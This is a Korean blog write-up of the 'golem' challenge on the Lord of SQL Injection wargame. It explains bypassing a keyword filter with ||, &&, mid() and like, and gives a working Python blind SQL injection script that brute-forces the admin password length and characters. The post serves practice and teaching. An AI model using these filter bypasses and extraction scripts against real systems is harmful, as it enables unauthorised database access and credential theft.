일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- 자바스크립트
- lord of sql injection
- 배열
- IF문
- github
- window
- suninatas 풀이
- object
- 백준 알고리즘
- python
- 김성엽 대표님
- xss game
- blind sql injection
- jQuery
- htmlspecialchars
- 메소드
- burp suite
- 객체
- 함수
- element 조회
- xss game 풀이
- sql injection
- Pwndbg
- 파이썬
- 사칙연산
- document
- 포인터
- property
- 백준 파이썬
- 조건문
Archives
- Today
- Total
power-girl0-0
[ Los ] golem 본문
728x90
주소 : https://los.rubiya.kr/
[ 문제 ]
[ 풀이 ]
먼저, 차단하고 있는 것을 확인해보자.
if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");
or, and, substr(, =을 차단하고 있다.
해당 차단은 아래와 같이 우회할 수 있다.
or과 and는 || 와 &&로 대체할 수 있다.
substr( )함수는 mid()함수로, =은 like로 우회가 가능하다.
이제 위 우회방법을 활용하여 id=admin을 입력해보자.
?pw=' || id like 'admin' %23 |
그 결과, 위와 같이 'Hello admin'이 출력되는 것을 확인할 수 있다.
이제, 문제 Clear를 위해 비밀번호 길이를 구해보자.
코드는 이전 문제에서 풀은 코드에서, query문만 바꿔주면 된다.
import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}
def password_length():
len_pw=0
while 1 :
len_pw += 1
print(len_pw)
value = "' || id like 'admin' && length(pw) like {} #".format(len_pw)
params={'pw':value}
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
print("password length : ", len_pw)
break
return len_pw
password_length()
웹 페이지에서도 패스워드 길이를 확인해보자.
여기서 주의할 점은 url에서는 &&는 실행되지 않으므로, 인코딩된 %26%26을 사용해야 된다.
이로써, pw의 길이는 8인 것을 알 수 있다.
이제 pw를 유추해보자.
import requests
url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?'
cookies={'PHPSESSID':'자신의 섹션 id'}
def password_length():
len_pw=0
while 1 :
len_pw += 1
print(len_pw)
value = "' || id like 'admin' && length(pw) like {} #".format(len_pw)
params={'pw':value}
response = requests.get(url, params=params, cookies=cookies)
if "Hello admin" in response.text:
print("password length : ", len_pw)
break
return len_pw
def find_pw(len_pw):
pw=''
for i in range(1,len_pw+1):
print(i,"번째 찾는 중")
for j in range(48,122):
value = "' || id like 'admin' && ascii(mid(pw, {}, 1)) like {} #".format(i, j)
params={"pw":value}
response = requests.get(url,params=params, cookies=cookies)
if "Hello admin" in response.text:
pw+=chr(j)
print("password : ",pw)
break
find_pw(password_length())
구한 값인 77d6290b를 웹페이지에서 입력해보자.
해당 문제에서도 데이터베이스의 pw면 CLEAR되므로, pw=77d6290b만 입력해주면 CLEAR된다.
문제 CLEAR!!
728x90
'War game > Lord of SQL Injection' 카테고리의 다른 글
[ Los ] bugbear (0) | 2021.03.22 |
---|---|
[ Los ] darkknight (0) | 2021.03.22 |
[ Los ] skeleton (0) | 2021.03.21 |
[ Los ] vampire (0) | 2021.03.21 |
[ Los ] troll (0) | 2021.03.21 |
Comments